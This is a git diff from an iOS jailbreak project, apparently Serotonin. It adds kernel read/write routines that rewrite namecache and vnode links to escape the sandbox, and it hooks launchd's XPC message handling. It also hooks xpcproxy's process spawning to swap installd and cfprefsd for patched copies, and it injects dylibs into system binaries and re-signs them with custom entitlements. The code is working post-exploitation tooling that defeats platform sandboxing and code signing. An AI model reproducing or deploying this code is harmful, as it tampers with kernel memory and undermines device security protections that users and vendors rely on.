//*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); + kwrite64((uint64_t)filenc.nc_child.tqe_prev, (uint64_t)filenc.nc_child.tqe_next); + + kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_next), filencp); //TAILQ_CHECK_NEXT + kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_prev), filencp+offsetof(struct namecache,nc_child.tqe_next)); //TAILQ_CHECK_PREV + } + + JBLogDebug("final hash chain\n"); + print_nc(kread64(ncpp)); + + + JBLogDebug("unsandboxed %llx %llx %s %s\n\n", filevp, dirvp, file, dir); + + ret = 0; + goto success; + +failed: + ret = -1; + +success: + if(dirfd>=0) close(dirfd); + if(filefd>=0) close(filefd); + + //update v_parent + char newfile[PATH_MAX]={0}; + snprintf(newfile,sizeof(newfile),"%s/%s",dir,basename_r(file, fname)); + JBLogDebug("newfile=%s\n", newfile); + + int newfd = open(newfile, O_RDONLY); + assert(newfd >= 0); + + char pathbuf[PATH_MAX]={0}; + int ret1=fcntl(newfd, F_GETPATH, pathbuf); + JBLogDebug("realpath=(%d) %s\n", ret1, pathbuf); + + close(newfd); + + return ret; +} diff --git a/RootHelperSample/launchdshim/launchdhook/unsandbox2.m b/RootHelperSample/launchdshim/launchdhook/unsandbox2.m new file mode 100644 index 00000000..60ae6c93 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/unsandbox2.m @@ -0,0 +1,270 @@ + +#include +#include +#include +#include +#include +#include +#include +#include + +#import +// #import "libjailbreak.h" +#import "unsandbox.h" +#import "jbserver/log.h" +#import "jbserver/kernel.h" +// #import "jbserver/primitives.h" +#import "fun/krw.h" +#import "jbserver/util.h" + +// ==================== iOS 16.4 xnu-8796 use smrq_link ==================== + +#define SMR_POINTER_DECL(name, type_t) \ + struct name { type_t volatile __smr_ptr; } + +#define SMR_POINTER(type_t) \ + SMR_POINTER_DECL(, type_t) + +typedef SMR_POINTER(struct smrq_link *) __smrq_link_t; + +struct smrq_link { + struct smrq_link * le_next; + struct smrq_link * *le_prev; +}; + + +struct namecache_v2 { + TAILQ_ENTRY(namecache_v2) nc_entry; /* chain of all entries */ + TAILQ_ENTRY(namecache_v2) nc_child; /* chain of ncp's that are children of a vp */ + union { + LIST_ENTRY(namecache_v2) nc_link; /* chain of ncp's that 'name' a vp */ + TAILQ_ENTRY(namecache_v2) nc_negentry; /* chain of ncp's that 'name' a vp */ + } nc_un; + struct smrq_link nc_hash; /* hash chain */ + uint32_t nc_vid; /* vid for nc_vp */ + uint32_t nc_counter; /* flags */ + vnode_t nc_dvp; /* vnode of parent of name */ + vnode_t nc_vp; /* vnode the name refers to */ + unsigned int nc_hashval; /* hashval of stringname */ + const char *nc_name; /* pointer to segment name in string cache */ +}; + +#define namecache namecache_v2 + +static void print_nc(uint64_t ncp) +{ + while(ncp) { + + struct namecache nc={0}; + kreadbuf(ncp, &nc, sizeof(nc)); + + char namebuf[128]={0}; + for(int i=0; i%llx\n", + filefd, filevp,filevnode.v_usecount, filevnode.v_id, filevnode.v_parent, parentvnode.v_usecount, dirvp, dirvnode.v_id, dirvnode.v_ncchildren.tqh_first, dirvnode.v_ncchildren.tqh_last, + dirvnode.v_ncchildren.tqh_last?kread64((uint64_t)dirvnode.v_ncchildren.tqh_last):0); + + // char parentname[32]={0}; + // kreadbuf((uint64_t)parentvnode.v_name, parentname, sizeof(parentname)); + // JBLogDebug("parentname=%s\n", parentname); + + + struct namecache filenc={0}; + uint64_t filencp = (uint64_t)filevnode.v_nclinks.lh_first; + kreadbuf(filencp, &filenc, sizeof(filenc)); + JBLogDebug("filenc=%llx vp=%llx dvp=%llx\n", filencp, filenc.nc_vp, filenc.nc_dvp); + +{ + uint64_t ncp=(uint64_t)dirvnode.v_ncchildren.tqh_first; + while(ncp) { + + struct namecache nc={0}; + kreadbuf(ncp, &nc, sizeof(nc)); + + char namebuf[128]={0}; + for(int i=0; iprev = prev; in __smrq_serialized_remove_one(__smrq_link_t* + kwrite64((uint64_t)filenc.nc_hash.le_next+offsetof(struct smrq_link, le_prev), (uint64_t)filenc.nc_hash.le_prev); //next->prev = prev + } + + //smr_serialized_store_relaxed(prev, next); + kwrite64((uint64_t)filenc.nc_hash.le_prev, (uint64_t)filenc.nc_hash.le_next); + } + //smrq_serialized_insert_head(ncpp, /*__smrq_link_t*/ncp->nc_hash): + { + uint64_t ncp = filencp; + + uint64_t first = kread64(ncpp); + kwrite64(ncp+offsetof(struct namecache, nc_hash.le_next), first); //smr_serialized_store_relaxed(&elem->next, next); + if(first) { //if (next != NULL) + //next->prev = &elem->next; + kwrite64(first+offsetof(struct smrq_link, le_prev), ncp+offsetof(struct namecache, nc_hash.le_next) ); + } + kwrite64(ncpp, ncp+offsetof(struct namecache, nc_hash)); //smr_serialized_store(prev, elem); + kwrite64(ncp+offsetof(struct namecache, nc_hash.le_prev), ncpp); //elem->prev = prev; + } + + //TAILQ_REMOVE(&(ncp->nc_dvp->v_ncchildren), ncp, nc_child); + { + uint64_t ncp = filencp; + if(filenc.nc_child.tqe_next) { //always true for filenc next time + //TAILQ_NEXT((elm), field)->field.tqe_prev = (elm)->field.tqe_prev; + kwrite64((uint64_t)filenc.nc_child.tqe_next+offsetof(struct namecache, nc_child.tqe_prev), (uint64_t)filenc.nc_child.tqe_prev); + } else { + //(head)->tqh_last = (elm)->field.tqe_prev; + kwrite64(parentvp+offsetof(struct vnode,v_ncchildren.tqh_last), (uint64_t)filenc.nc_child.tqe_prev); + } + //*(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); + kwrite64((uint64_t)filenc.nc_child.tqe_prev, (uint64_t)filenc.nc_child.tqe_next); + + kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_next), filencp); //TAILQ_CHECK_NEXT + kwrite64(filencp+offsetof(struct namecache,nc_child.tqe_prev), filencp+offsetof(struct namecache,nc_child.tqe_next)); //TAILQ_CHECK_PREV + } + + JBLogDebug("final hash chain\n"); + print_nc2(kread64(ncpp)); + + + JBLogDebug("unsandboxed %llx %llx %s %s\n\n", filevp, dirvp, file, dir); + + ret = 0; + goto success; + +failed: + ret = -1; + +success: + if(dirfd>=0) close(dirfd); + if(filefd>=0) close(filefd); + + //update v_parent + char newfile[PATH_MAX]={0}; + snprintf(newfile,sizeof(newfile),"%s/%s",dir,basename_r(file, fname)); + JBLogDebug("newfile=%s\n", newfile); + + int newfd = open(newfile, O_RDONLY); + assert(newfd >= 0); + + char pathbuf[PATH_MAX]={0}; + int ret1=fcntl(newfd, F_GETPATH, pathbuf); + JBLogDebug("realpath=(%d) %s\n", ret1, pathbuf); + + return ret; +} + diff --git a/RootHelperSample/launchdshim/launchdhook/xpc_hook.c b/RootHelperSample/launchdshim/launchdhook/xpc_hook.c new file mode 100644 index 00000000..3e751d91 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/xpc_hook.c @@ -0,0 +1,52 @@ +// #include +#include +#include +#include "jbserver/bsm/libbsm.h" +#include "jbserver/libproc.h" +#include +// #include +#include "fishhook.h" +#include "jbserver/jbserver.h" + +/*#undef JBLogDebug +void JBLogDebug(const char *format, ...) +{ + va_list va; + va_start(va, format); + + FILE *launchdLog = fopen("/var/mobile/launchd-xpc.log", "a"); + vfprintf(launchdLog, format, va); + fprintf(launchdLog, "\n"); + fclose(launchdLog); + + va_end(va); +}*/ + +int xpc_receive_mach_msg(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut); +int (*xpc_receive_mach_msg_orig)(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut); +int xpc_receive_mach_msg_hook(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut) +{ + int r = xpc_receive_mach_msg_orig(a1, a2, a3, a4, xOut); + if (r == 0) { + if (jbserver_received_xpc_message(&gGlobalServer, *xOut) == 0) { + // Returning non null here makes launchd disregard this message + // For jailbreak messages we have the logic to handle them + xpc_release(*xOut); + return 22; + } + } + return r; +} + +void initXPCHooks(void) +{ + // MSHookFunction(xpc_receive_mach_msg, (void *)xpc_receive_mach_msg_hook, (void **)&xpc_receive_mach_msg_orig); + struct rebinding xpc_rebinding = { + "xpc_receive_mach_msg", + (void *)xpc_receive_mach_msg_hook, + (void **)&xpc_receive_mach_msg_orig + }; + + struct rebinding rebindings[] = {xpc_rebinding}; + rebind_symbols(rebindings, 1); +} \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/xpc_hook.h b/RootHelperSample/launchdshim/launchdhook/xpc_hook.h new file mode 100644 index 00000000..fad4fae7 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/xpc_hook.h @@ -0,0 +1 @@ +void initXPCHooks(void); \ No newline at end of file diff --git a/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m b/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m index d9860d79..525d6b01 100644 --- a/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m +++ b/RootHelperSample/launchdshim/xpcproxyhook/xpcproxyhook.m @@ -40,31 +40,50 @@ int hooked_csops_audittoken(pid_t pid, unsigned int ops, void * useraddr, size_t return result; } const char *installd = "/usr/libexec/installd"; +const char *nfcd = "/usr/libexec/nfcd"; +const char *mediaserverd = "/usr/sbin/mediaserverd"; + +void log_path(char* path, char* jbroot_path) { + FILE *file = fopen("/var/mobile/xpcproxyhook.log", "a"); + char output[256]; + sprintf(output, "[xpcproxyhook] changing path %s to %s\n", path, jbroot_path); + fputs(output, file); + fclose(file); +} int hooked_posix_spawnp(pid_t *restrict pid, const char *restrict path, const posix_spawn_file_actions_t *restrict file_actions, posix_spawnattr_t *attrp, char *argv[restrict], char * envp[restrict]) { - const char *coolerinstalld = jbroot("/usr/libexec/installd"); - const char *coolercfprefsd = jbroot("/usr/sbin/cfprefsd"); if (strncmp(path, "/usr/sbin/cfprefsd", 18) == 0) { - path = coolercfprefsd; + log_path(path, jbroot(path)); + path = jbroot("/usr/sbin/cfprefsd"); argv[0] = (char *)path; - posix_spawnattr_set_launch_type_np(attrp, 0); + posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); +// } else if (!strncmp(path, mediaserverd, strlen(mediaserverd))) { +// log_path(path, jbroot(path)); +// path = jbroot(mediaserverd); +// argv[0] = (char *)path; +// posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); } else if (!strncmp(path, installd, strlen(installd))) { - path = coolerinstalld; + log_path(path, jbroot(path)); + path = jbroot(installd); argv[0] = (char *)path; posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); - return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp); +// } else if (!strncmp(path, nfcd, strlen(nfcd))) { +// log_path(path, jbroot(path)); +// path = jbroot(nfcd); +// argv[0] = (char *)path; +// posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); } return orig_posix_spawnp(pid, path, file_actions, attrp, argv, envp); } __attribute__((constructor)) static void init(int argc, char **argv) { -// FILE *file; -// file = fopen("/var/mobile/xpcproxyhook.log", "w"); -// char output[512]; -// sprintf(output, "[xpcproxyhook] xpcproxyhook pid %d", getpid()); -// fputs(output, file); -// fclose(file); -// sync(); + FILE *file; + file = fopen("/var/mobile/xpcproxyhook.log", "w"); + char output[128]; + sprintf(output, "[xpcproxyhook] xpcproxyhook pid %d", getpid()); + fputs(output, file); + fclose(file); + sync(); struct rebinding rebindings[] = (struct rebinding[]){ {"csops", hooked_csops, (void *)&orig_csops}, diff --git a/RootHelperSample/main.m b/RootHelperSample/main.m index f6c81b7a..936dba86 100644 --- a/RootHelperSample/main.m +++ b/RootHelperSample/main.m @@ -176,15 +176,15 @@ int runLdid(NSArray* args, NSString** output, NSString** errorOutput) return WEXITSTATUS(status); } -int signAdhoc(NSString *filePath, NSString *entitlements) { +int signAdhoc(NSString *filePath, NSString *entitlements, bool merge) { NSMutableArray *args = [NSMutableArray array]; if (entitlements && entitlements.length > 0) { [args addObject:[NSString stringWithFormat:@"-S%@", entitlements]]; } - - [args addObjectsFromArray:@[@"-M", filePath]]; - + if (merge == true) { + [args addObjectsFromArray:@[@"-M", filePath]]; + } NSString *errorOutput; NSLog(@"roothelper: running ldid with args: %@", [args componentsJoinedByString:@" "]); int ldidRet = runLdid(args, nil, &errorOutput); @@ -275,7 +275,7 @@ void installLaunchd(void) { NSString* launchdents = [usprebooterappPath() stringByAppendingPathComponent:@"launchdentitlements.plist"]; NSString* patchedLaunchdCopy = [usprebooterappPath() stringByAppendingPathComponent:@"workinglaunchd"]; - signAdhoc(patchedLaunchdCopy, launchdents); // source file, NSDictionary with entitlements + signAdhoc(patchedLaunchdCopy, launchdents, true); // source file, NSDictionary with entitlements NSString *fastPathSignPath = [usprebooterappPath() stringByAppendingPathComponent:@"fastPathSign"]; NSString *stdOut; @@ -301,25 +301,29 @@ void installClone(NSString *path) { NSString* ents = [usprebooterappPath() stringByAppendingPathComponent:@"launchdentitlements.plist"]; NSString *hook_file = @"generalhooksigned.dylib"; NSString *insert_path = @"@loader_path/generalhooksigned.dylib"; + bool mergeEnts = true; if ([path isEqual:@"/Applications/MediaRemoteUI.app/MediaRemoteUI"]) { ents = [usprebooterappPath() stringByAppendingPathComponent:@"MRUIents.plist"]; } else if ([path isEqual:@"/System/Library/CoreServices/SpringBoard.app/SpringBoard"]) { ents = [usprebooterappPath() stringByAppendingPathComponent:@"SpringBoardEnts.plist"]; + } else if ([path isEqual:@"/usr/libexec/installd"]) { + ents = [usprebooterappPath() stringByAppendingPathComponent:@"installdents.plist"]; + } else if ([path isEqual:@"/usr/libexec/nfcd"]) { + ents = [usprebooterappPath() stringByAppendingPathComponent:@"nfcdents.plist"]; } else if ([path isEqual:@"/usr/libexec/xpcproxy"]) { ents = [usprebooterappPath() stringByAppendingPathComponent:@"xpcproxydents.plist"]; hook_file = @"xpcproxyhooksigned.dylib"; insert_path = @"@loader_path/xpcproxyhooksigned.dylib"; -// } else if ([path isEqual:@"/usr/libexec/installd"]) { -// ents = [usprebooterappPath() stringByAppendingPathComponent:@"installdents.plist"]; -// insert_path = @"@loader_path/generalhooksigned.dylib"; // doesnt work idk + } else if ([path isEqual:@"/usr/sbin/mediaserverd"]) { + ents = [usprebooterappPath() stringByAppendingPathComponent:@"mediaserverdents.plist"]; } else { NSLog(@"Note: no dedicated ents file for this, shit will likely break"); } // strip arm64e replaceByte(jbroot(path), 8, "\x00\x00\x00\x00"); - NSLog(@"insert dylib ret %d", patch_app_exe([jbroot(path) UTF8String], [insert_path UTF8String])); - signAdhoc(jbroot(path), ents); + NSLog(@"insert dylib ret %d", patch_app_exe([jbroot(path) UTF8String], (char*)[insert_path UTF8String])); + signAdhoc(jbroot(path), ents, mergeEnts); NSString *fastPathSignPath = [usprebooterappPath() stringByAppendingPathComponent:@"fastPathSign"]; @@ -360,8 +364,12 @@ int main(int argc, char *argv[], char *envp[]) { installClone(@"/System/Library/CoreServices/SpringBoard.app/SpringBoard"); installClone(@"/Applications/MediaRemoteUI.app/MediaRemoteUI"); installClone(@"/usr/libexec/xpcproxy"); -// installClone(@"/usr/libexec/installd"); + installClone(@"/usr/libexec/installd"); + installClone(@"/usr/libexec/nfcd"); +// installClone(@"/usr/sbin/mediaserverd"); install_cfprefsd(); + + [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@"generalhooksigned.dylib"] toPath:jbroot(@"/generalhooksigned.dylib") error:nil]; [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@"Serotonin.jp2"] toPath:jbroot(@"/var/mobile/Serotonin.jp2") error:nil]; } } else if ([action isEqual: @"uninstall"]) { @@ -378,8 +386,8 @@ int main(int argc, char *argv[], char *envp[]) { NSArray *pathsToRemove = @[ jbroot(@"/System/Library/CoreServices/SpringBoard.app/"), @"/var/mobile/Serotonin.jp2", - jbroot(@"launchd"), - jbroot(@"launchdhook.dylib"), + jbroot(@"/launchd"), + jbroot(@"/launchdhook.dylib"), jbroot(@"/Applications/MediaRemoteUI.app/MediaRemoteUI"), jbroot(@"/Applications/MediaRemoteUI.app/generalhooksigned.dylib"), jbroot(@"/Applications/MediaRemoteUI.app/"), @@ -388,7 +396,10 @@ int main(int argc, char *argv[], char *envp[]) { [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"xpcproxyhooksigned.dylib"], [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"generalhooksigned.dylib"], [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"xpcproxy"], - [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"installd"] + [jbroot(@"/usr/libexec/") stringByAppendingPathComponent:@"installd"], + [jbroot(@"/usr/sbin/") stringByAppendingPathComponent:@"cfprefsd"], + [jbroot(@"/usr/sbin/") stringByAppendingPathComponent:@"generalhooksigned.dylib"], + [jbroot(@"/usr/sbin/") stringByAppendingPathComponent:@"mediaserverd"] ]; for (NSString *path in pathsToRemove) { if ([fileManager fileExistsAtPath:path]) { diff --git a/Serotonin.xcodeproj/project.pbxproj b/Serotonin.xcodeproj/project.pbxproj index cffea163..3b8e3918 100644 --- a/Serotonin.xcodeproj/project.pbxproj +++ b/Serotonin.xcodeproj/project.pbxproj @@ -27,6 +27,7 @@ C862EB532C47A9710052F3AD /* installdents.plist in Resources */ = {isa = PBXBuildFile; fileRef = C862EB522C47A9710052F3AD /* installdents.plist */; }; C862EB5F2C47EDCE0052F3AD /* proc.c in Sources */ = {isa = PBXBuildFile; fileRef = C862EB5E2C47EDCE0052F3AD /* proc.c */; }; C862EB602C47EE6D0052F3AD /* Serotonin.jp2 in Resources */ = {isa = PBXBuildFile; fileRef = C82599EF2B4C4C07002D0DDA /* Serotonin.jp2 */; }; + C862EB642C47F3B30052F3AD /* nfcdents.plist in Resources */ = {isa = PBXBuildFile; fileRef = C862EB622C47F3B30052F3AD /* nfcdents.plist */; }; C8B1D3A92B5A620500C5562B /* MD.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D39B2B5A620500C5562B /* MD.swift */; }; C8B1D3AA2B5A620500C5562B /* LicensesViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D39C2B5A620500C5562B /* LicensesViewController.swift */; }; C8B1D3AB2B5A620500C5562B /* ChangelogViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D39D2B5A620500C5562B /* ChangelogViewController.swift */; }; @@ -41,6 +42,7 @@ C8B1D3B82B5A635800C5562B /* usprebooterApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8B1D3B62B5A635800C5562B /* usprebooterApp.swift */; }; C8BFCCAC2B3FFE570008D8FD /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC882B3FFE560008D8FD /* offsets.m */; }; C8BFCCAD2B3FFE570008D8FD /* vnode.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC892B3FFE560008D8FD /* vnode.m */; }; + C8E70B7B2C48443A008AC2E6 /* mediaserverdents.plist in Resources */ = {isa = PBXBuildFile; fileRef = C8E70B792C48443A008AC2E6 /* mediaserverdents.plist */; }; D6F9CF3F2B4B2F7D00274803 /* ct_bypass in Resources */ = {isa = PBXBuildFile; fileRef = D6F9CF3E2B4B2F7D00274803 /* ct_bypass */; }; D6F9CF412B4B306400274803 /* fastPathSign in Resources */ = {isa = PBXBuildFile; fileRef = D6F9CF402B4B306400274803 /* fastPathSign */; }; /* End PBXBuildFile section */ @@ -115,6 +117,7 @@ C862EB522C47A9710052F3AD /* installdents.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = installdents.plist; path = RootHelperSample/launchdshim/generalhook/installdents.plist; sourceTree = ""; }; C862EB5D2C47EDC60052F3AD /* proc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = proc.h; sourceTree = ""; }; C862EB5E2C47EDCE0052F3AD /* proc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = proc.c; sourceTree = ""; }; + C862EB622C47F3B30052F3AD /* nfcdents.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = nfcdents.plist; path = RootHelperSample/launchdshim/generalhook/nfcdents.plist; sourceTree = ""; }; C8B1D3992B5A620500C5562B /* swift-markdown.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = "swift-markdown.md"; sourceTree = ""; }; C8B1D39A2B5A620500C5562B /* Markdownosaur.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = Markdownosaur.md; sourceTree = ""; }; C8B1D39B2B5A620500C5562B /* MD.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MD.swift; sourceTree = ""; }; @@ -148,6 +151,7 @@ C8BFCCA12B3FFE560008D8FD /* perf.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = perf.h; sourceTree = ""; }; C8BFCCA22B3FFE560008D8FD /* info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = info.h; sourceTree = ""; }; C8BFCCA32B3FFE570008D8FD /* libkfd.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libkfd.h; sourceTree = ""; }; + C8E70B792C48443A008AC2E6 /* mediaserverdents.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = mediaserverdents.plist; path = RootHelperSample/launchdshim/generalhook/mediaserverdents.plist; sourceTree = ""; }; D6E090922B48E60300AE49BF /* bootstrap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = bootstrap.h; sourceTree = ""; }; D6E090942B48E60300AE49BF /* endpoint.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = endpoint.h; sourceTree = ""; }; D6E090952B48E60300AE49BF /* debug.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = debug.h; sourceTree = ""; }; @@ -193,6 +197,8 @@ C81122912B15E7BB00AD077B = { isa = PBXGroup; children = ( + C8E70B792C48443A008AC2E6 /* mediaserverdents.plist */, + C862EB622C47F3B30052F3AD /* nfcdents.plist */, C862EB522C47A9710052F3AD /* installdents.plist */, C862EB502C46EF880052F3AD /* MRUIents.plist */, C862EB4E2C46EF470052F3AD /* SpringBoardEnts.plist */, @@ -578,16 +584,18 @@ buildActionMask = 2147483647; files = ( C862EB602C47EE6D0052F3AD /* Serotonin.jp2 in Resources */, + C8E70B7B2C48443A008AC2E6 /* mediaserverdents.plist in Resources */, C862EB532C47A9710052F3AD /* installdents.plist in Resources */, C862EB512C46EF880052F3AD /* MRUIents.plist in Resources */, C862EB4D2C46EEED0052F3AD /* xpcproxydents.plist in Resources */, + C862EB4F2C46EF470052F3AD /* SpringBoardEnts.plist in Resources */, + C862EB642C47F3B30052F3AD /* nfcdents.plist in Resources */, + C84002ED2B4A64E200C73950 /* launchdentitlements.plist in Resources */, D6F9CF412B4B306400274803 /* fastPathSign in Resources */, D6F9CF3F2B4B2F7D00274803 /* ct_bypass in Resources */, C82AFEF42B175AB80070EA49 /* Assets.xcassets in Resources */, - C84002ED2B4A64E200C73950 /* launchdentitlements.plist in Resources */, C82AFF432B17AA6D0070EA49 /* ldid in Resources */, C81131112C46799000BD1C37 /* cfprefsdshimsignedinjected in Resources */, - C862EB4F2C46EF470052F3AD /* SpringBoardEnts.plist in Resources */, ); runOnlyForDeploymentPostprocessing = 0; };